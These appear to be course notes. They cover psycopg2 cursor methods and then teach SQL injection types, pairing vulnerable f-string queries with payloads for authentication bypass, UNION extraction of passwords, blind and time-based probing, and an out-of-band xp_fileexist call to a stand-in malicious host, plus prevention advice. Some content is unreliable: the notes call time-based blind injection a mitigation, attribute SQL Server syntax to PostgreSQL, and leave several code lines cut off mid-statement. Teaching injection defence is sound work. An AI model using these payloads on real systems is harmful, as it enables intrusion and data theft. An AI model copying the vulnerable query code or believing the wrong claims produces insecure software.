cursor.copy_from()	Copy data from a file-like object into a database table.	`cur.copy_from(file, 'table_name', sep=',')`	Inserts multiple rows into a table from a file-like object. Useful for bulk insertions.

Cursor Command	Description	Syntax / Usage Example	Explanation
cursor.copy_to()	Copy data from a table to a file-like object.	`cur.copy_to(file, 'table_name', sep=',')`	Exports table data to a file-like object (e.g., CSV format). Useful for bulk exports.
cursor.callproc()	Calls a stored procedure in the database.	`cur.callproc('procedure_name', (param1, param2))`	Executes a stored procedure with the provided parameters.
cursor.setinputsizes()	Allows setting the input size for the query parameters.	`cur.setinputsizes((psycopg2.STRING, psycopg2.INTEGER))`	Defines the input sizes for parameters in case of bulk insert or for specific parameter types.
cursor.setoutputsize()	Sets the maximum size of output values returned by the query.	`cur.setoutputsize(100, column=0)`	Specifies a maximum size for output values to optimize memory usage for large text columns.
cursor.rowcount	Read Only attribute that indicates the number of rows inserted, modified, deleted in the last `execute()`	`cur.rowcount`	

Detailed Explanation of Key Cursor Commands:

1. **`cursor.execute()`**:
   - This command is used to execute a SQL query. You can pass SQL commands as strings, and you can also safely use parameterized queries by providing a tuple or list of values.
   - **Example**:

```
cur.execute("SELECT id, name FROM employees WHERE age > %s;", (30,))
```

2. **`cursor.fetchall()`**:
   - Retrieves all the rows from the result of a query. This method returns the results as a list of tuples, where each tuple represents a row from the result set.
   - **Example**:

```
rows = cur.fetchall()
```

3. **`cursor.fetchone()`**:
   - This method retrieves the next row from the query result set. It is commonly used when you want to fetch one row at a time.
   - **Example**:

```
row = cur.fetchone()
```

4. **`cursor.fetchmany(n)`**:
   - Retrieves the next n rows of the query result set. It's useful when you want to process a fixed number of rows at a time, which helps manage memory consumption.
   - **Example**:

```
rows = cur.fetchmany(5)
```

5. **`cursor.scroll(offset, mode)`**:
   - Moves the cursor's position within the result set. It allows scrolling the result set to a specific row either relatively (from the current position) or absolutely (from the beginning of the result set).
   - **Example**:

```
cur.scroll(2, mode='absolute')  # Move to the 2nd row
```

6. **`cursor.description`**:
   - After executing a `SELECT` query, you can inspect the metadata of the result set (such as column names, types, etc.) using `cursor.description`.
   - **Example**:

```
desc = cur.description
print(desc)
```

7. **`cursor.close()`**:
   - Always close the cursor when done to release database resources. This is important for resource management and avoids memory leaks.
   - **Example**:

```
cur.close()
```

8. **`cursor.mogrify()`**:
   - Returns the query string with parameters fully formatted (i.e., the query string with the actual values filled in). This is useful for debugging or logging the query.
   - **Example**:

```
sql = cur.mogrify("SELECT * FROM employees WHERE age > %s", (30,))
print(sql)
```

9. **`cursor.copy_from()`**:
   - Allows bulk loading of data from a file-like object into a PostgreSQL table. This is faster than using individual `INSERT` statements for large data.
   - **Example**:

```
with open('data.csv', 'r') as f:
    cur.copy_from(f, 'employees', sep=',')
```

10. **`cursor.copy_to()`**:
    - Allows exporting data from a PostgreSQL table to a file-like object, such as exporting data into a CSV format.
    - **Example**:

```
with open('output.csv', 'w') as f:
    cur.copy_to(f, 'employees', sep=',')
```

11. **`cursor.callproc()`**:
    - Calls a stored procedure in the database. It allows you to execute functions or procedures that are stored in PostgreSQL.
    - **Example**:

```
cur.callproc('procedure_name', (param1, param2))
```

12. **`cursor.setinputsizes()`**:

- Specifies the data type sizes of parameters to optimize the execution of queries. It is mostly useful for bulk insertions.
- **Example**:

```
cur.setinputsizes((psycopg2.STRING, psycopg2.INTEGER))
```

13. **`cursor.setoutputsize()`**:
    - This allows you to control the memory allocation for large text columns in the result set, reducing memory usage when dealing with large data types.
    - **Example**:

```
cur.setoutputsize(100, column=0)  # Set output size for the first co
```

L7.5: Application Design and Development/5: Application Development and Mobile (31:54)

SQL Injection

SQL Injection (SQLi) is a security vulnerability that allows an attacker to manipulate an SQL query by injecting malicious SQL code into the query. This can lead to various malicious actions such as unauthorized access, data manipulation, and even system compromise. SQL injection typically occurs when user input is improperly sanitized and is directly incorporated into SQL statements.

Examples of SQL Injection Attacks

Below are various types of **SQL injection attacks** along with practical examples of how they work.

---

1. Classic SQL Injection (Unfiltered User Input)

Vulnerable Code Example (Python + psycopg2)

```python
import psycopg2

def get_user_details(user_id):
    conn = psycopg2.connect..
    cur = conn.cursor()

    # Vulnerable SQL query where user input is directly used without sanitizat
    cur.execute(f"SELECT * FROM users WHERE id = {user_id}")

    rows = cur.fetchall()
    for row in rows:
        print(row)

    cur.close()
    conn.close()
```

Malicious Input Example (SQL Injection)

If the user inputs the following:

```
1 OR 1=1
```

The SQL query becomes:

```sql
SELECT * FROM users WHERE id = 1 OR 1=1;
```

This will return all the rows from the `users` table because the condition `1=1` is always true, which is a classic **"bypass authentication"** technique.

How to Prevent:

Always use **parameterized queries** or **prepared statements** to safely pass user inputs:

```python
cur.execute("SELECT * FROM users WHERE id = %s", (user_id,))
```

---

2. Authentication Bypass via SQL Injection

Vulnerable Code Example (Login Page)

```
import psycopg2

def login(username, password):
    conn = psycopg2.connect..
    cur = conn.cursor()

    # Vulnerable SQL query
    query = f"SELECT * FROM users WHERE username = '{username}' AND password =
    cur.execute(query)

    user = cur.fetchone()
    if user:
        print("Login successful")
    else:
        print("Login failed")

    cur.close()
    conn.close()
```

Malicious Input Example (SQL Injection to Bypass Login)

- **Username Input**: `admin' --`
- **Password Input**: `anything`

The query becomes:

```
SELECT * FROM users WHERE username = 'admin' --' AND password = 'anything'
```

The `--` comment marks the rest of the SQL statement as a comment, effectively bypassing the password check and logging in as the `admin` user.

How to Prevent:

Use parameterized queries for both username and password:

```
cur.execute("SELECT * FROM users WHERE username = %s AND password = %s", (user
```

---

3. Union-based SQL Injection

This type of SQL injection allows attackers to combine the results of two or more queries into a single result set.

Vulnerable Code Example (Displaying Product Info)

```python
def get_product_details(product_id):
    conn = psycopg2.connect..
    cur = conn.cursor()

    # Vulnerable query
    query = f"SELECT * FROM products WHERE product_id = {product_id}"
    cur.execute(query)

    rows = cur.fetchall()
    for row in rows:
        print(row)

    cur.close()
    conn.close()
```

Malicious Input Example (Union-based SQL Injection)

If an attacker enters the following:

```
1 UNION SELECT username, password FROM users --
```

The SQL query becomes:

```
SELECT * FROM products WHERE product_id = 1 UNION SELECT username, password FR
```

This will return the username and password columns from the users table, potentially leaking sensitive data.

How to Prevent:

- **Use parameterized queries**.
- Restrict the columns in your query to only what is necessary.
- Sanitize and validate user input.

```
cur.execute("SELECT * FROM products WHERE product_id = %s", (product_id,))
```

---

4. Blind SQL Injection

Blind SQL injection occurs when an attacker cannot see the result of the query directly, but can infer the outcome based on the behavior of the application.

Vulnerable Code Example (Checking User Login)

```
def check_username(username):
    conn = psycopg2.connect..
    cur = conn.cursor()

    # Vulnerable query
    query = f"SELECT * FROM users WHERE username = '{username}'"
    cur.execute(query)

    if cur.fetchone():
        print("Username exists")
    else:
        print("Username does not exist")

    cur.close()
    conn.close()
```

Malicious Input Example (Blind SQL Injection)

An attacker could try inputting:

```
' OR 1=1 --
```

The query becomes:

```
SELECT * FROM users WHERE username = '' OR 1=1 --;
```

- The `1=1` condition is always true, and thus the query would return a result (the attacker doesn't see the actual result but knows that `1=1` is always true).

If an attacker wants to determine whether a particular condition is true or false, they might inject something like:

```
' OR 1=1 --   # This would return true
' OR 1=2 --   # This would return false
```

This allows attackers to probe the database for valid usernames or passwords using true/false responses, which is characteristic of **blind SQL injection**.

How to Prevent:

Always use parameterized queries to avoid SQL injection. In blind SQL injection scenarios, employing **time-based blind SQL injection** (such as using `pg_sleep` in PostgreSQL) is one way to mitigate the risk.

```
cur.execute("SELECT * FROM users WHERE username = %s", (username,))
```

---

5. Time-based Blind SQL Injection

Time-based blind SQL injection involves making the database wait for a specific amount of time (e.g., using `pg_sleep()` in PostgreSQL) to infer the result of the query.

Vulnerable Code Example

```
def check_login(username, password):
    conn = psycopg2.connect..
    cur = conn.cursor()

    # Vulnerable query
    query = f"SELECT * FROM users WHERE username = '{username}' AND password =
    cur.execute(query)

    if cur.fetchone():
        print("Login successful")
    else:
        print("Login failed")

    cur.close()
    conn.close()
```

Malicious Input Example (Time-based SQL Injection)

An attacker could input:

```
admin' AND pg_sleep(5) --
```

The query becomes:

```
SELECT * FROM users WHERE username = 'admin' AND pg_sleep(5) --;
```

This causes the query to delay for 5 seconds, providing the attacker with feedback that the query executed and allowing them to probe the system.

How to Prevent:

Use parameterized queries and avoid functions like `pg_sleep()` in production queries.

```
cur.execute("SELECT * FROM users WHERE username = %s AND password = %s", (user
```

---

6. Error-based SQL Injection

Error-based SQL injection involves intentionally causing SQL errors to gain information about the structure of the database.

Vulnerable Code Example

```
def get_user_info(user_id):
    conn = psycopg2.connect..
    cur = conn.cursor()

    # Vulnerable query
    query = f"SELECT * FROM users WHERE id = {user_id}"
    cur.execute(query)

    rows = cur.fetchall()
    for row in rows:
        print(row)

    cur.close()
    conn.close()
```

Malicious Input Example (Error-based SQL Injection)

An attacker could input:

```
1' AND 1=CONVERT(int, (SELECT @@version)) --
```

This will generate an error, and if the database error message is not handled correctly, it might expose details about the underlying database system, such as the version of PostgreSQL being used.

How to Prevent:

- Never expose detailed error messages to the user. Configure proper error handling to show generic error messages.
- Use **parameterized queries** to avoid SQL injection.

```
cur.execute("SELECT * FROM users WHERE id = %s", (user_id,))
```

---

7. Second-Order SQL Injection

Second-order SQL injection occurs when an attacker injects malicious SQL into the database, but the attack doesn't trigger until the data is used in a later query.

Example of Second-Order SQL Injection

1. **Stage 1**: An attacker inputs the following into a form to update a user's password:

```
password = ' OR 1=1 -- '
```

This is stored in the database.

2. **Stage 2**: Later, when the user attempts to log in, the password is checked:

```
SELECT * FROM users WHERE username = 'admin' AND password = ' OR 1=1 -- '
```

This allows the attacker to log in as the admin user.

How to Prevent:

- Always sanitize and validate user input.
- **Hash passwords** and do not store raw passwords in the database.

```
import bcrypt
hashed_password = bcrypt.hashpw(password.encode('utf-8'), bcrypt.gensalt())
```

Best practices in avoiding SQL Injection

1. Using **parameterized queries** or **prepared statements**.
2. **Validating and sanitizing** all user inputs.
3. **Error handling** and not revealing database errors to users.
4. Implementing **least privilege** and **role-based access control**.

SQL Injection Part 2

Name	SQL Statement Example	Description
Classic SQL Injection	`SELECT * FROM users WHERE username = 'admin' AND password = '' OR 1=1;`	The attacker manipulates user inputs to alter the query logic, often bypassing authentication or retrieving all data.
Authentication Bypass	`SELECT * FROM users WHERE username = 'admin' --' AND password = 'anything';`	By injecting a comment (`--`), attackers can terminate the query early, effectively bypassing authentication checks.

Name	SQL Statement Example	Description
Union-based SQL Injection	`SELECT * FROM products WHERE product_id = 1 UNION SELECT username, password FROM users;`	This type of attack combines the results of multiple queries, allowing attackers to extract data from other tables.
Blind SQL Injection	`SELECT * FROM users WHERE username = '' OR 1=1 --;`	Attackers cannot see the output directly but infer it by the behavior of the application (true/false responses).
Time-based Blind SQL Injection	`SELECT * FROM users WHERE username = 'admin' AND pg_sleep(5);`	Attackers induce a delay in the database query (e.g., `pg_sleep()`), and infer results based on the response time.
Error-based SQL Injection	`SELECT * FROM users WHERE username = '' AND 1=CONVERT(int, (SELECT @@version)) --;`	Attackers exploit detailed database error messages to gather information about the database structure or version.
Second-Order SQL Injection	`INSERT INTO users (username, password) VALUES ('admin', ' OR 1=1 --');` followed by `SELECT * FROM users WHERE username = 'admin' AND password = '';`	Malicious input is stored in the database and executed later during another query or action (e.g., login).
Out-of-Band SQL Injection	`SELECT * FROM users WHERE username = 'admin' AND 1=1; EXEC xp_fileexist 'http://malicious.com/attack';`	Attackers use side channels like DNS or HTTP requests to extract data or trigger external actions via SQL.
Blind (Boolean-based) SQL Injection	`SELECT * FROM users WHERE username = 'admin' AND 1=1;` and `SELECT * FROM users WHERE username = 'admin' AND 1=2;`	Attackers alter query conditions to check if the result changes (true/false). Helps discover if certain conditions are met.
Tautology-based SQL	`SELECT * FROM users WHERE username = '' OR 1=1 --;`	The attacker injects a tautology (a statement

Name	SQL Statement Example	Description
Injection		that is always true), manipulating the query's logical conditions to retrieve data.
Blind Time-based SQL Injection	`SELECT * FROM users WHERE username = '' AND IF(1=1, SLEEP(5), NULL);`	Similar to time-based injection, where a delay is induced to confirm the true/false conditions by observing response time.

Explanation of Key Types of SQL Injection:

1. **Classic SQL Injection**:
    - An attacker directly manipulates the input fields (e.g., username, password) to inject SQL code that modifies the behavior of the SQL query. This can lead to bypassing authentication, retrieving sensitive data, or deleting information.
2. **Authentication Bypass**:
    - This type of SQL injection is specifically used to bypass login systems. By using a comment (`--`) or other SQL logic, the attacker can skip over the password check, essentially logging in as any user.
3. **Union-based SQL Injection**:
    - The attacker uses the `UNION` SQL operator to combine results from two or more queries, potentially allowing them to access data from other tables (such as usernames, passwords, or other sensitive data).
4. **Blind SQL Injection**:
    - In blind SQL injection, the attacker doesn't see the result of their query but infers it based on the application's behavior. They may use true/false or success/failure responses to determine valid conditions.
5. **Time-based Blind SQL Injection**:
    - This technique exploits database functions like `pg_sleep()` to induce a delay in query execution. The attacker measures the response time to infer the success or failure of a particular condition, allowing them to gradually extract data or determine the database structure.
6. **Error-based SQL Injection**:
    - Attackers cause SQL errors intentionally (e.g., using invalid queries) to expose error messages from the database, which can reveal sensitive information about the database structure, such as table names, column names, and data types.

7. **Second-Order SQL Injection**:
    - The attacker inputs malicious data into the system, but the effect of the injection is not seen until a later query is executed. This is common when malicious input is stored in the database and used later, such as during login attempts.
8. **Out-of-Band SQL Injection**:
    - This type of SQL injection doesn't require direct access to the application's response. Instead, the attacker sends malicious SQL code that triggers external actions (like HTTP requests or DNS queries), which can leak data or trigger other attacks.
9. **Blind (Boolean-based) SQL Injection**:
    - Attackers modify queries to check whether certain conditions are true or false. For example, they might change the query to check if a value exists or is true (e.g., `1=1` or `1=2`), and then infer results based on application behavior (e.g., if the query succeeds or fails).
10. **Tautology-based SQL Injection**:

- Attackers inject a tautology (e.g., `OR 1=1`) into SQL statements, which causes the condition to always be true. This allows the attacker to bypass authentication or retrieve all data from a query.

Prevention Techniques:

1. **Parameterized Queries / Prepared Statements**:
   Always use parameterized queries to prevent SQL injection, which ensures user inputs are treated as values, not executable SQL code.
2. **Stored Procedures**:
   When used properly, stored procedures can help isolate user inputs from SQL code.
3. **Input Validation and Sanitization**:
   Validate and sanitize all user inputs to ensure that they conform to expected formats and avoid malicious content.
4. **Least Privilege**:
   Limit database user permissions to only those that are necessary for normal operations, reducing the risk of damage in case of an injection attack.
5. **Error Handling**:
   Do not expose detailed database errors to users. Instead, show generic error messages and log the detailed errors server-side.
6. **Web Application Firewalls (WAF)**:
   Use WAFs to help detect and block malicious SQL queries.